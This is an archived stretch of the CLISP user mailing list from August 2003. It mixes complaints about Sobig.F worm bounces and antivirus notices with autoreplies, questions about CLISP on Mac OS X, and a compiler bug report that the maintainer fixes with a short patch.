clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] virus allert. Message-ID: <20030820183524.GA22341@bakunin.copyleft.de> References: Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-1 Content-Disposition: inline Content-Transfer-Encoding: 8bit In-Reply-To: User-Agent: Mutt/1.3.28i Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 20 12:48:03 2003 X-Original-Date: Wed, 20 Aug 2003 20:35:24 +0200 Moin Samuel Fierz, Moin Marco Antoniotti, > Merci pour votre message. > J'y répondrai dès mon retour, le 25 août. > I am getting a lot of virus infected stuff on clisp-list. it also looks, as if the spam program include people with prominent eMails as From: (e.g. me) - I'm not using Outlook (would be insane to do under Linux ;) - I had about 359 megabyte bounces from this virus and several people went offline during the last days because of viruses that cant be delivered, and bounced back to the faked From: address. My analysis so far showed that those can be traced back to a system at biotech.kth.se and moved recently ( Wed Aug 20 18:31:42 UTC 2003 ) to hsc.usc.edu : 128.125.99.248 a system without reverse DNS who is running the SPAM. Bye Michael -- mailto:kraehe@copyleft.de UNA:+.? 'CED+2+:::Linux:2.4.18'UNZ+1' http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE DELENDAM From EMKTEDTR@sbc.com Wed Aug 20 12:47:45 2003 Received: from sbcsmtp2.sbc.com ([209.184.203.4]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pY2q-0004P6-00 for ; Wed, 20 Aug 2003 11:50:56 -0700 Received: from sbc.com (localhost [127.0.0.1]) by sbcsmtp2.sbc.com (8.12.5/8.12.5) with ESMTP id h7KGpAIt008500 for ; Wed, 20 Aug 2003 11:51:11 -0500 (CDT) Received: from MSGSTLHUB02.ITServices.sbc.com (msgstlhub02.sbc.com [132.201.87.59]) by sbcsmtp2.sbc.com (8.12.5/8.12.5) with ESMTP id h7KGp9Vd008484 for ; Wed, 20 Aug 2003 11:51:09 -0500 (CDT) Received: by msgstlhub02.sbc.com with Internet Mail Service (5.5.2654.52) id ; Wed, 20 Aug 2003 11:51:09 -0500 Message-ID: From: E MKTG EDITOR To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 X-Mailer: Internet Mail Service (5.5.2654.52) Content-Type: text/plain; charset="windows-1252" Content-Transfer-Encoding: quoted-printable Subject: [clisp-list] Out of Office AutoReply: My details (Fwd By Digital Impact) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 20 12:48:08 2003 X-Original-Date: Wed, 20 Aug 2003 11:50:58 -0500 Thank you for subscribing to SBC Southwestern Bell up2speed. =20 Please note: Replies to this inbox, other than those asking to be = removed from our distribution list, are automatically deleted. We would like = to point you in the right direction to help you get your question or = comment addressed. Please see below. If you have requested to unsubscribe from future SBC mailings, your = request will be honored within 10 business days. If you would like to confirm = your unsubscribe request, please visit: http://sbc.m0.net/m/p/sbc/oct/register.asp?brn=3Dswb =B7 To update your mailing preferences (name, etc.), please visit: http://sbc.m0.net/m/p/sbc/oct/newInfo.asp?e=3Drw0048%40txmail.sbc.com&br= n=3DSWB& src=3DFTAF =B7 For information on internet services - including DSL - please = visit: http://www.swbell.com/content/0,3854,7,00.html =B7 To contact us by e-mail, please visit: http://www.swbell.com/ContactUs/EmailUs/1,6115,,00.html?id=3D1 =B7 To contact us by phone, please see the contact numbers listed at: http://www.swbell.com/CallUs/0,6117,,00.html Thank you! From lisp-clisp-list@m.gmane.org Wed Aug 20 12:50:20 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pYLh-0008CC-00 for ; Wed, 20 Aug 2003 12:10:26 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19pXGY-0001BL-00 for ; Wed, 20 Aug 2003 20:01:02 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19pXGX-0001BD-00 for ; Wed, 20 Aug 2003 20:01:01 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19pXFZ-0004c5-00 for ; Wed, 20 Aug 2003 20:00:01 +0200 From: Sam Steingold Organization: disorganization Lines: 20 Message-ID: References: Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: Please make sure your machine is virus clean! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 20 12:51:04 2003 X-Original-Date: 20 Aug 2003 14:00:00 -0400 > * In message > * On the subject of "Please make sure your machine is virus clean!" > * Sent on Wed, 20 Aug 2003 10:15:35 -0400 > * Honorable Marco Antoniotti writes: > > I am getting a lot of virus infected stuff on clisp-list. you cannot get any viruses from clisp-list because I do not let any attachments in. what you have been getting is notifications that someone was forging clisp-list as the sender of viruses. It should be somewhat better now - I tighten the filtering a little bit. -- Sam Steingold (http://www.podval.org/~sds) running w2k All generalizations are wrong. Including this. From marcoxa@cs.nyu.edu Wed Aug 20 12:50:21 2003 Received: from cat.nyu.edu ([128.122.47.28]) by sc8-sf-list1.sourceforge.net with esmtp (Cipher TLSv1:DES-CBC3-SHA:168) (Exim 3.31-VA-mm2 #1 (Debian)) id 19pXwJ-00009j-00 for ; Wed, 20 Aug 2003 11:44:12 -0700 Received: from cs.nyu.edu (BIOINFORMATICS.CIMS.NYU.EDU [216.165.110.10]) by cat.nyu.edu (Postfix) with ESMTP id 5654819D6A; Wed, 20 Aug 2003 14:44:00 -0400 (EDT) Subject: Re: [clisp-list] virus allert. Content-Type: text/plain; charset=ISO-8859-1; format=flowed Mime-Version: 1.0 (Apple Message framework v552) Cc: postmaster@128.125.99.248, postmaster@biotch.kth.se To: clisp-list@lists.sourceforge.net From: Marco Antoniotti In-Reply-To: <20030820183524.GA22341@bakunin.copyleft.de> Message-Id: <4614C020-D33E-11D7-90A4-000393A70920@cs.nyu.edu> Content-Transfer-Encoding: quoted-printable X-Mailer: Apple Mail (2.552) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 20 12:51:06 2003 X-Original-Date: Wed, 20 Aug 2003 14:44:04 -0400 Well thanks. That somewhat helps. Cheers On Wednesday, Aug 20, 2003, at 14:35 America/New_York, Michael Koehne=20 wrote: > Moin Samuel Fierz, > Moin Marco Antoniotti, > >> Merci pour votre message. >> J'y r=E9pondrai d=E8s mon retour, le 25 ao=FBt. >> I am getting a lot of virus infected stuff on clisp-list. > > it also looks, as if the spam program include people with prominent=20= > eMails > as From: (e.g. me) - I'm not using Outlook (would be insane to do=20 > under > Linux ;) - I had about 359 megabyte bounces from this virus and=20 > several > people went offline during the last days because of viruses that = cant > be delivered, and bounced back to the faked From: address. > > My analysis so far showed that those can be traced back to a system > at biotech.kth.se and moved recently ( Wed Aug 20 18:31:42 UTC 2003 = ) > to hsc.usc.edu : 128.125.99.248 a system without reverse DNS who is > running the SPAM. > > Bye Michael > --=20 > mailto:kraehe@copyleft.de UNA:+.?=20 > 'CED+2+:::Linux:2.4.18'UNZ+1' > http://www.xml-edifact.org/ CETERUM CENSEO WINDOWS ESSE=20 > DELENDAM > -- Marco Antoniotti NYU Courant Bioinformatics Group tel. +1 - 212 - 998 3488 715 Broadway 10th FL fax. +1 - 212 - 998 3484 New York, NY, 10003, U.S.A. From MAILER-DAEMON Wed Aug 20 13:06:08 2003 Received: from [196.12.38.67] (helo=navgw.cmcltd.com) by sc8-sf-list1.sourceforge.net with smtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pYz1-0003LF-00 for ; Wed, 20 Aug 2003 12:51:03 -0700 From: Norton_AntiVirus_Gateways@cmcltd.com To: clisp-list@lists.sourceforge.net MIME-Version: 1.0 Content-Type: multipart/report; report-type=delivery-status; boundary="==M2003082101211515338" Message-Id: Subject: [clisp-list] Returned mail Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 20 13:07:03 2003 X-Original-Date: Thu, 21 Aug 2003 01:21:15 +0530 --==M2003082101211515338 Content-Type: text/plain; charset=us-ascii Content-Transfer-Encoding: 7bit --- The message cannot be delivered to the following address. --- hgopal@cmcltd.com Mailbox unknown or not accepting mail. 550 5.1.1 ... User unknown --==M2003082101211515338 Content-Type: message/delivery-status Reporting-MTA: Norton AntiVirus Gateway;Norton_AntiVirus_Gateways@cmcltd.com Final-Recipient: rfc822;hgopal@cmcltd.com Action: failed Status: 5.1.1 Diagnostic-Code: X-Notes; Cannot route mail to user (hgopal@cmcltd.com). --==M2003082101211515338 Content-Type: message/rfc822 Received: (from rzc3014 [141.41.111.114]) by navgw.cmcltd.com (NAVGW 2.5.1.6) with SMTP id M2003082101204625713 for ; Thu, 21 Aug 2003 01:20:52 +0530 From: To: Subject: Re: Details Date: Wed, 20 Aug 2003 21:50:09 +0200 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_01108457" Message-Id: This is a multipart message in MIME format --_NextPart_000_01108457 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit See the attached file for details --_NextPart_000_01108457 Content-Type: plain/text; name="DELETED0.TXT" Content-Transfer-Encoding: base64 Content-Disposition: attachment; filename="DELETED0.TXT" RmlsZSBhdHRhY2htZW50OiB5b3VyX2RldGFpbHMucGlmDQoNClRoZSBmaWxlIGF0dGFjaGVk IHRvIHRoaXMgZW1haWwgd2FzIHJlbW92ZWQgYmVjYXVzZSBmaWxlcyBvZiB0aGlzIHR5cGUg YXJlIG5vdCBhY2NlcHRlZCBmb3IgZGVsaXZlcnkgYnkgeW91ciBlbWFpbCBnYXRld2F5Lg0K --_NextPart_000_01108457-- --==M2003082101211515338-- From lisp-clisp-list@m.gmane.org Wed Aug 20 13:14:46 2003 Received: from main.gmane.org ([80.91.224.249]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pZEm-0008FQ-00 for ; Wed, 20 Aug 2003 13:07:20 -0700 Received: from root by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19pYyJ-0002Rp-00 for ; Wed, 20 Aug 2003 21:50:19 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19pYoj-0002Ll-00 for ; Wed, 20 Aug 2003 21:40:25 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19pYnk-00080n-00 for ; Wed, 20 Aug 2003 21:39:24 +0200 From: Sam Steingold Organization: disorganization Lines: 20 Message-ID: References: <200308201858.h7KIw8a7004743@ghost.CS.ORST.EDU> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: CLIP , Mac and sockets Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 20 13:15:10 2003 X-Original-Date: 20 Aug 2003 15:39:24 -0400 > * In message <200308201858.h7KIw8a7004743@ghost.CS.ORST.EDU> > * On the subject of "CLIP , Mac and sockets" > * Sent on Wed, 20 Aug 2003 11:58:08 -0700 (PDT) > * Honorable amit phalgune writes: > > Also from the documents I looked at, looks like CLISP supports sockets > on Unix and Win32 only. Is this correct ? How abt Macs ? mac os x is a unix, so sockets are fully supported. > Does CLISP support multi threading on UNIX and Windows ? not yet. would you like to work in it? -- Sam Steingold (http://www.podval.org/~sds) running w2k If you try to fail, and succeed, which have you done? From dgou@mac.com Wed Aug 20 13:26:38 2003 Received: from a17-250-248-97.apple.com ([17.250.248.97] helo=smtpout.mac.com) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pZOF-0001ZG-00 for ; Wed, 20 Aug 2003 13:17:07 -0700 Received: from mac.com (smtpin07-en2 [10.13.10.152]) by smtpout.mac.com (Xserve/MantshX 2.0) with ESMTP id h7KKGsDE029806 for ; Wed, 20 Aug 2003 13:16:54 -0700 (PDT) Received: from mac.com (15.pins2.xdsl.nauticom.net [209.195.172.144]) (authenticated bits=0) by mac.com (Xserve/8.12.9/MantshX 2.0) with ESMTP id h7KKGSwq013185 for ; Wed, 20 Aug 2003 13:16:36 -0700 (PDT) Mime-Version: 1.0 (Apple Message framework v552) Content-Type: text/plain; charset=US-ASCII; format=flowed From: Douglas Philips To: clisp-list@lists.sourceforge.net Content-Transfer-Encoding: 7bit Message-Id: <2CC27852-D34B-11D7-B94C-000393030214@mac.com> X-Mailer: Apple Mail (2.552) Subject: [clisp-list] Bug in me or CLisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 20 13:27:13 2003 X-Original-Date: Wed, 20 Aug 2003 16:16:25 -0400 The following code works fine interpreted or compiled, however, "clisp -C test1" barfs with: *** - FUNCALL: #.#'EQUAL is not a function name test1.lisp: (defvar *a* (list (list #'equal 2 2) (list #'equal 2 3))) (dolist (a *a*) (funcall (car a) (cadr a) (caddr a))) This was with a CLisp that I built from CVS head a few days ago on Jaguar. When I add these two lines to the top of test1.lisp: (defun m (a b) (equal a b)) and change both #'equal to #'m it runs fine. make check worked fine after my build. Am I just confused about equal's function-ability? ; Wed, 20 Aug 2003 15:59:55 -0700 Received: from list by main.gmane.org with local (Exim 3.35 #1 (Debian)) id 19pbwi-00057b-00 for ; Thu, 21 Aug 2003 01:00:52 +0200 X-Injected-Via-Gmane: http://gmane.org/ To: clisp-list@lists.sourceforge.net Received: from sea.gmane.org ([80.91.224.252]) by main.gmane.org with esmtp (Exim 3.35 #1 (Debian)) id 19pbwh-00057T-00 for ; Thu, 21 Aug 2003 01:00:51 +0200 Received: from news by sea.gmane.org with local (Exim 3.35 #1 (Debian)) id 19pbvj-00056x-00 for ; Thu, 21 Aug 2003 00:59:51 +0200 From: Sam Steingold Organization: disorganization Lines: 38 Message-ID: References: <2CC27852-D34B-11D7-B94C-000393030214@mac.com> Reply-To: sds@gnu.org Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-Complaints-To: usenet@sea.gmane.org X-Attribution: Sam X-Disclaimer: You should not expect anyone to agree with me. User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3.50 Subject: [clisp-list] Re: Bug in me or CLisp? Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Wed Aug 20 18:05:02 2003 X-Original-Date: 20 Aug 2003 18:59:50 -0400 > * In message <2CC27852-D34B-11D7-B94C-000393030214@mac.com> > * On the subject of "Bug in me or CLisp?" > * Sent on Wed, 20 Aug 2003 16:16:25 -0400 > * Honorable Douglas Philips writes: > > The following code works fine interpreted or compiled, > however, "clisp -C test1" barfs with: > *** - FUNCALL: #.#'EQUAL is not a function name thanks for the bug report (I introduced it when I made -C report errors like -c does). I just fixed it in the CVS. please try again (note that the changes propagate to the anoncvs with a 24 hour delay, so I append the patch.) -- Sam Steingold (http://www.podval.org/~sds) running w2k The paperless office will become a reality soon after the paperless toilet. Index: compiler.lisp =================================================================== RCS file: /cvsroot/clisp/clisp/src/compiler.lisp,v retrieving revision 1.132 diff -u -w -b -u -b -w -i -B -r1.132 compiler.lisp --- compiler.lisp 14 Aug 2003 18:04:57 -0000 1.132 +++ compiler.lisp 20 Aug 2003 22:53:46 -0000 @@ -9689,7 +9689,7 @@ (let ((l (append (make-list (fnode-Keyword-Offset fnode)) (fnode-keywords fnode) - (if *compiling-from-file* + (if *fasoutput-stream* (mapcar #'(lambda (value form) (if form (make-load-time-eval form) value)) (fnode-Consts fnode) (fnode-Consts-forms fnode)) From NAVMSE-BTMAIL@bodytrends.com Thu Aug 21 05:28:46 2003 Received: from host18.bodytrends.com ([207.71.206.146] helo=btmail.bodytrends2000.com ident=hidden-user) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pkG6-0007TQ-00 for ; Thu, 21 Aug 2003 00:53:27 -0700 content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable X-MimeOLE: Produced By Microsoft Exchange V6.0.6249.0 Message-ID: <4447C872594BB24BA72E1BAA90DD816061459F@btmail.bodytrends2000.com> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: Norton AntiVirus detected a virus in a message you sent. The infected attachment was deleted. Thread-Index: AcNntQcCrY+w6B2wSyKuZjCbvd00tA== From: "NAVMSE-BTMAIL" To: Subject: [clisp-list] Norton AntiVirus detected a virus in a message you sent. The infected attachment was deleted. Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 21 05:29:05 2003 X-Original-Date: Thu, 21 Aug 2003 00:22:50 -0700 Recipient of the infected attachment: BTMAIL, First Storage = Group\Mailbox Store (BTMAIL), info/Inbox Subject of the message: Re: Details One or more attachments were deleted Attachment application.pif was Deleted for the following reasons: Virus W32.Sobig.F@mm was found. From amoroso@mclink.it Thu Aug 21 10:29:30 2003 Received: from mail1.mclink.it ([195.110.128.7]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19przq-0006gT-00 for ; Thu, 21 Aug 2003 09:09:10 -0700 Received: from net145-042.mclink.it (net145-042.mclink.it [195.110.145.42]) by mail1.mclink.it (8.12.6p2/8.12.3) with ESMTP id h7LFrcuN024295 for ; Thu, 21 Aug 2003 17:53:40 +0200 (CEST) (envelope-from amoroso@mclink.it) Received: (qmail 2375 invoked by uid 1000); 21 Aug 2003 14:02:40 -0000 To: clisp-list@lists.sourceforge.net Subject: Re: [clisp-list] virus allert. References: <20030820183524.GA22341@bakunin.copyleft.de> From: Paolo Amoroso In-Reply-To: <20030820183524.GA22341@bakunin.copyleft.de> (Michael Koehne's message of "Wed, 20 Aug 2003 20:35:24 +0200") Message-ID: <87ptizm7lr.fsf@plato.moon.paoloamoroso.it> User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/20.7 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 21 10:57:30 2003 X-Original-Date: Thu, 21 Aug 2003 16:02:40 +0200 Michael Koehne writes: > Linux ;) - I had about 359 megabyte bounces from this virus and several > people went offline during the last days because of viruses that cant > be delivered, and bounced back to the faked From: address. Given that such viruses spoof From: fields, automatic virus notifications from are becoming equally obnoxious and useless. Paolo -- Paolo Amoroso From dgou@mac.com Thu Aug 21 16:18:02 2003 Received: from smtpout.mac.com ([17.250.248.87]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pygU-0007QH-00 for ; Thu, 21 Aug 2003 16:17:38 -0700 Received: from mac.com (smtpin08-en2 [10.13.10.153]) by smtpout.mac.com (Xserve/MantshX 2.0) with ESMTP id h7LNHP5u015883; Thu, 21 Aug 2003 16:17:25 -0700 (PDT) Received: from mac.com (15.pins2.xdsl.nauticom.net [209.195.172.144]) (authenticated bits=0) by mac.com (Xserve/8.12.9/MantshX 2.0) with ESMTP id h7LNGHlc027603; Thu, 21 Aug 2003 16:16:33 -0700 (PDT) Subject: Re: [clisp-list] Re: Bug in me or CLisp? Content-Type: text/plain; charset=US-ASCII; format=flowed Mime-Version: 1.0 (Apple Message framework v552) Cc: clisp-list@lists.sourceforge.net To: sds@gnu.org From: Douglas Philips In-Reply-To: Message-Id: <7701C028-D42D-11D7-AEAF-000393030214@mac.com> Content-Transfer-Encoding: 7bit X-Mailer: Apple Mail (2.552) Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 21 16:19:02 2003 X-Original-Date: Thu, 21 Aug 2003 19:16:16 -0400 > thanks for the bug report (I introduced it when I made -C report errors > like -c does). > I just fixed it in the CVS. > please try again (note that the changes propagate to the anoncvs with a > 24 hour delay, so I append the patch.) Got that patch (boy the sourceforge mail forwarding service is SLOW). Updated my CVS head this afternoon. Now I have a different problem! (BTW: How do I add/write a test case so that the bug above will be caught if ever accidently reintroduced?) Ok, the new bug: test2.lisp: (defun xyzzy ((self notype) x y) ; ... (cons x y)) Not compiled: clisp test2 *** - SYSTEM::C-ERROR: symbol SYSTEM::*ERROR-COUNT* has no value But, with clisp -C test2 ERROR in #:COMPILED-FORM-34 : Illegal lambda list element (SELF NOTYPE) ERROR in #:COMPILED-FORM-34 : Illegal lambda list element (SELF NOTYPE) ERROR in XYZZY : Illegal lambda list element (SELF NOTYPE) There were errors in the following functions: #:COMPILED-FORM-34 XYZZY Ah, i don't think '-C' is ready for prime-time as the default just yet. ;-) ; Thu, 21 Aug 2003 13:01:00 -0700 Received: from mailer.salon.com (mailer.salon.com [127.0.0.1]) by mailer.salon.com (8.12.9/8.12.9) with ESMTP id h7LK17WE026074 for ; Thu, 21 Aug 2003 13:01:07 -0700 Received: (from aohehir@localhost) by mailer.salon.com (8.12.9/8.12.9/Submit) id h7LK17EW026072 for clisp-list@lists.sourceforge.net; Thu, 21 Aug 2003 13:01:07 -0700 Message-Id: <200308212001.h7LK17EW026072@mailer.salon.com> To: clisp-list@lists.sourceforge.net Auto-Submitted: auto-replied From: "Andrew O'Hehir" Delivered-By-The-Graces-Of: The Vacation program Precedence: bulk Subject: [clisp-list] Autoreply from Andrew O'Hehir Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 21 17:52:18 2003 X-Original-Date: Thu, 21 Aug 2003 13:01:07 -0700 Hello, You sent me an email and it bounced. That's because I'm on leave from Salon until August 26. If your business can wait until then, please email me after that. But if you have urgent matters to communicate to Salon's Arts & Entertainment desk, please resend your email to Kerry Lauerman (klauerman@salon.com), our New York editorial director, and associate editor Suzy Hansen (shansen@salon.com). They're in charge of all Salon's arts coverage while I'm away. Thanks for your patience and I look forward to working with you this fall. Best, Andrew O'Hehir PS Those of you who have my personal email, go ahead and use it. I'll be checking that every so often. ==================================== Andrew O'Hehir // Arts & Entertainment Editor Salon.com 41 East 11th Street, 11th floor New York, New York 10003 From phalgune@ghost.cs.orst.edu Thu Aug 21 19:35:35 2003 Received: from ghost.cs.orst.edu ([128.193.38.105]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19pupv-0007nt-00; Thu, 21 Aug 2003 12:11:07 -0700 Received: from jasper01.CS.ORST.EDU (jasper01.CS.ORST.EDU [128.193.39.108]) by ghost.CS.ORST.EDU (8.12.9/8.12.9) with SMTP id h7LJAra7025440; Thu, 21 Aug 2003 12:10:53 -0700 (PDT) Message-Id: <200308211910.h7LJAra7025440@ghost.CS.ORST.EDU> From: amit phalgune Reply-To: amit phalgune To: clisp-list@lists.sourceforge.net, sds@gnu.org, clisp-devel@lists.sourceforge.net MIME-Version: 1.0 Content-Type: TEXT/plain; charset=us-ascii Content-MD5: 5otkWo7fiCoxmpRtt6drkQ== X-Mailer: dtmail 1.3.0 @(#)CDE Version 1.4.6_06 SunOS 5.8 sun4u sparc Subject: [clisp-list] CLIP , Mac Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 21 19:38:09 2003 X-Original-Date: Thu, 21 Aug 2003 12:10:54 -0700 (PDT) From the search I have done on the internet , I have got conflicting comments about CLISP working on Mac 10. Can anyone confirm that the latest release of CLSIP works on Mac Also where can I get the latest release installset for CLSIP. Is 2.30 the latest release ( released in Nov 2002 ) ?? Thanks Amit From AMaViS@fh-wolfenbuettel.de Thu Aug 21 19:44:41 2003 Received: from inet.fh-wolfenbuettel.de ([141.41.1.250]) by sc8-sf-list1.sourceforge.net with esmtp (Exim 3.31-VA-mm2 #1 (Debian)) id 19ptyy-0004mF-00 for ; Thu, 21 Aug 2003 11:16:24 -0700 Received: from inet.fh-wolfenbuettel.de (localhost [127.0.0.1]) by Inet.FH-Wolfenbuettel.DE (8.12.9/8.12.9) with ESMTP id h7LIGEs4006335 for ; Thu, 21 Aug 2003 20:16:14 +0200 (MEST) Received: (from root@localhost) by inet.fh-wolfenbuettel.de (8.12.9/8.12.7/Submit) id h7LIGExJ006334; Thu, 21 Aug 2003 20:16:14 +0200 (MEST) Message-Id: <200308211816.h7LIGExJ006334@inet.fh-wolfenbuettel.de> From: AMaViS@FH-Wolfenbuettel.DE To: X-Spam-Report: 3.3/5.0 NO_REAL_NAME (0.7 points) From: does not include a real name PLING_PLING (1.8 points) Subject has lots of exclamation marks MANY_EXCLAMATIONS (0.8 points) Subject has many exclamations X-Virus-Scanned: by amavisd-milter (http://amavis.org/) Subject: [clisp-list] !!! Virus in Ihrer Mail !!! Virus in your Mail !!! Sender: clisp-list-admin@lists.sourceforge.net Errors-To: clisp-list-admin@lists.sourceforge.net X-BeenThere: clisp-list@lists.sourceforge.net X-Mailman-Version: 2.0.9-sf.net Precedence: bulk List-Help: List-Post: List-Subscribe: , List-Id: CLISP user discussion List-Unsubscribe: , List-Archive: Date: Thu Aug 21 19:47:29 2003 X-Original-Date: Thu, 21 Aug 2003 20:16:14 +0200 (MEST) ----------------------------------------------------------------------------- E-Mail V i r e n - A l a r m E-Mail V i r u s A l e r t V i r u s A l e r t E-Mail V i r e n - A l a r m V i r e n - A l a r m E-Mail V i r u s A l e r t E-Mail ----------------------------------------------------------------------------- Der Virenchecker im Mailsystem hat | The viruschecker in the mailsystem den/die | found the 'W32/Sobig-F' Virus/Viren in einer Mail von | virus(es) in an email from you. Ihnen gefunden. | Betroffen ist die E-Mail an: | Infected is the mail to -> | Bitte nehmen Sie eine Viren- | Please check your system for ueberpruefung Ihres Rechners vor ! | viruses. | Hier der Kopf der betroffenen | Here is the header of the infected Mail: | mail: ----------------------------------------------------------------------------- From: To: Subject: Thank you! Date: Thu, 21 Aug 2003 20:16:08 +0200 X-MailScanner: Found to be clean Importance: Normal X-Mailer: Microsoft Outlook Express 6.00.2600.0000 X-MSMail-Priority: Normal X-Priority: 3 (Normal) MIME-Version: 1.0 Content-Type: multipart/mixed; boundary="_NextPart_000_010F5230" ----------------------------------------------------------------------------- Bei Fragen wenden Sie sich bitte an | For questions, please mail to 